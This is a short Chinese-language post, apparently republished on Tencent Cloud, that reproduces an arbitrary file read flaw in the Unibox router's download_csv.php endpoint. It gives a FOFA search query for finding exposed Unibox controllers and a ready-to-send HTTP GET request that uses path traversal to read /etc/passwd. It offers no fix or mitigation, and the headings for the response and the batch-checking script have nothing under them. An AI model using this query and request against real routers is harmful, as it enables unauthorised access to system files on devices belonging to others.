【漏洞复现】Unibox路由器download_csv.php存在任意文件读取漏洞
【漏洞复现】Unibox路由器download_csv.php存在任意文件读取漏洞
熔城Sec
发布于 2026-07-22 19:47:26
发布于 2026-07-22 19:47:26
漏洞描述
Unibox路由器download_csv.php接口存在任意文件读取
资产收集
fofa
body="Unibox" && body="Controller"
发送请求
GET /tools/download_csv.php?download_file=../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive返回包
批量验证脚本
本文参与 腾讯云自媒体同步曝光计划，分享自微信公众号。
原始发表：2025-10-26，如有侵权请联系 cloudcommunity@tencent.com 删除
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号